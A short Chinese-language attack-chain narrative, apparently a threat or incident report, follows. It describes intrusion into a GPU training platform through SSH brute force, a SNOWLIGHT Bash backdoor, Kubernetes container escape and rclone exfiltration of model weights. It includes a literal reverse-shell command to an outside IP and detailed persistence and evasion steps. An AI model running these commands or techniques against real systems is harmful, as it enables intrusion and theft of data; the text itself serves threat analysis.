1

初始访问·弱口令爆破

攻击者针对智算中心暴露在公网的GPU训练平台管理节点发起SSH爆破，目标为运维人员遗留的测试账户（admin/P@ssw0rd_2025）。该节点运行Ubuntu 22.04，未启用fail2ban，SSH允许密码认证。爆破成功后攻击者立即通过curl拉取远程脚本并执行，建立首个立足点。该账户具备sudo权限，且与K8s集群API Server处于同一内网段。

2

反弹Shell·SNOWLIGHT落地

攻击者执行bash -i >& /dev/tcp/185.x.x.x/8443 0>&1建立反弹Shell，随后下载SNOWLIGHT脚本。该脚本为Bash类型后门，通过nohup守护进程驻留，每300秒向C2心跳。脚本内置AES加密通信、进程名伪装为kworker/u8:2，并写入/etc/rc.local实现开机自启。同时修改.bashrc注入alias，劫持ps、netstat等命令输出以规避排查。

3

横向移动·容器逃逸

攻击者利用该节点上的kubectl凭证，枚举K8s集群Pod列表，发现训练任务容器以privileged: true运行。通过kubectl exec进入容器后，利用挂载的/var/run/docker.sock实现容器逃逸，在宿主机上创建特权容器并挂载宿主机根目录，获取训练数据存储卷的读写权限。随后在多个GPU节点上重复植入SNOWLIGHT脚本，形成持久化控制。

4

数据窃取·模型外传

攻击者定位到/mnt/training-data下的模型权重文件（约2.3TB），使用tar分卷压缩后通过rclone上传至境外对象存储。为规避流量检测，分卷大小设置为500MB，传输限速10MB/s，持续约6小时。期间通过SNOWLIGHT脚本的C2通道接收指令，动态调整传输策略。